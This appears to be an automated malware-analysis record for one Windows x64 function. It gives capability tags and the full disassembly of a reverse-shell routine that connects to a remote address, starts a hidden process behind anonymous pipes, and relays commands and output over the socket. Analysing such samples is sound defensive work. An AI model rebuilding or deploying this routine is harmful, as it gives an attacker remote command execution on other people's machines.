Function at 0x140025630
Capabilities:
Connect socket
Convert ip address from string
Create pipe
Create process on windows
Create two anonymous pipes
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
mov rax, qword [0x14007c030]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov rbx, r8
mov r15d, edx
mov rsi, rcx
mov qword [rbp - 0x70], rcx
xor r12d, r12d
mov dword [rbp + 0x90], r12d
mov dword [rbp + 0xc8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov r13d, 2
mov r8d, r13d
lea rdx, [0x140070e24]
lea rcx, [rsp + 0x50]
call fcn.14000b050
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], socket
mov byte [rbp + 0x98], r12b
mov dword [rbp + 0x90], 4
cmp byte [rax], 3
jne 0x140025edf
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x98]
call fcn.14001efb0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140025720
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.14000b050
lea rcx, [rsp + 0x70]
call fcn.14001b540
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rbx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rbx, qword [rbp + 0x98]
mov qword [rbp + 0xd0], rbx
mov dword [rbp + 0xd8], r15d
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0x1000
mov ecx, 0x202
lea rdx, [rbp + 0x100]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400257b4
mov byte [rbp + 0xdc], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140025849
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rbp + 0xe0], rax
mov word [rbp + 0xb8], r13w
movzx ecx, r15w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xba], ax
lea r8, [rbp + 0xbc]
mov rdx, rbx
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xb8]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140025955
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, r12
mov qword [rbp + 0xe0], r12
mov byte [rbp + 0xdc], dil
test ebx, ebx
je 0x14002595c
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
mov r8d, inet_ntoa
lea rdx, str.trs:connect
lea rcx, [rbp - 0x18]
call fcn.14000b050
nop
lea r8, [rbp - 0x18]
lea rdx, [rbp + 0xb8]
call fcn.14002c6c0
mov rcx, qword [rax]
mov dword [rcx + 0x40], r12d
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1400258c1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400258bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025f28
call fcn.140035d80
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, r14
call fcn.140035d80
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140025922
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002591d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025f3a
call fcn.140035d80
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], socket
mov byte [rbp + 0x98], 0
mov rcx, rsi
call fcn.140009fd0
lea rcx, [rsi + 8]
movzx edx, byte [rsi]
call fcn.140009b90
nop
jmp 0x140025eaf
mov byte [rbp + 0xdc], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
mov qword [rbp + 0x64], rax
mov dword [rbp + 0x6c], eax
mov dword [rbp + 0x20], 0x68
mov dword [rbp - 0x18], 0x18
mov dword [rbp - 8], 1
mov qword [rbp - 0x10], r12
xor r9d, r9d
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140025e23
xor r9d, r9d
lea r8, [rbp - 0x18]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140025e23
or dword [rbp + 0x5c], 0x100
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
lea rax, [rbp + 8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140025b0b
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, r14
call fcn.140035d80
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140025ad8
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025ad3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025ed9
call fcn.140035d80
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], socket
mov byte [rbp + 0x98], 0
mov rcx, rsi
call fcn.140009fd0
lea rcx, [rsi + 8]
movzx edx, byte [rsi]
call fcn.140009b90
nop
jmp 0x140025eaf
mov rcx, r14
call fcn.140035d80
mov ecx, 0x4b
call fcn.1400362b0
lea rdx, str._n_n_nSERx6_2021
mov r8, rax
sub r8, rdx
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025b30
xor r9d, r9d
lea r8d, [r9 + 0x4a]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov r8d, inet_ntoa
lea rdx, str.trs:connect
lea rcx, [rsp + 0x50]
call fcn.14000b050
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
call fcn.14002c6c0
mov rcx, qword [rax]
mov ebx, dword [rcx + 0x40]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140025bce
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025bc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025f2e
call fcn.140035d80
test ebx, ebx
je 0x140025ccc
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x2a0]
call fcn.1400383c0
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x2a0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140025ccc
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0xf0]
mov r8d, eax
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140025ccc
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x90]
mov r8d, 0x200
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140025b52
nop dword [rax]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov r8d, dword [rbp + 0x90]
lea rdx, [rbp + 0x2a0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
inc eax
cmp eax, 1
jbe 0x140025b52
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x90]
mov r8d, 0x200
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140025c70
jmp 0x140025b52
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov qword [rbp + 0xe0], r12
mov byte [rbp + 0xdc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov r8d, inet_ntoa
lea rdx, str.trs:connect
lea rcx, [rsp + 0x50]
call fcn.14000b050
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
call fcn.14002c6c0
mov rcx, qword [rax]
mov dword [rcx + 0x40], r12d
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140025da6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025da0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025f34
call fcn.140035d80
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140025df0
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025deb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025f3a
call fcn.140035d80
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], socket
mov byte [rbp + 0x98], 0
mov rcx, rsi
call fcn.140009fd0
lea rcx, [rsi + 8]
movzx edx, byte [rsi]
call fcn.140009b90
nop
jmp 0x140025eaf
mov rcx, r14
call fcn.140035d80
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140025e81
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025e7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025ed9
call fcn.140035d80
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], socket
mov byte [rbp + 0x98], 0
mov rcx, rsi
call fcn.140009fd0
lea rcx, [rsi + 8]
movzx edx, byte [rsi]
call fcn.140009b90
nop
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140035d60
mov rbx, qword [rsp + 0x5f8]
add rsp, 0x5b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140047b50
nop
mov rcx, rax
call fcn.14001a100
mov qword [rbp + 0xb8], rax
lea r8, [rbp + 0xb8]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x18]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x68]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp - 0x68]
call fcn.140037c24
nop
call fcn.140047b50
int3
call fcn.140047b50
int3
call fcn.140047b50
nop
call fcn.140047b50
int3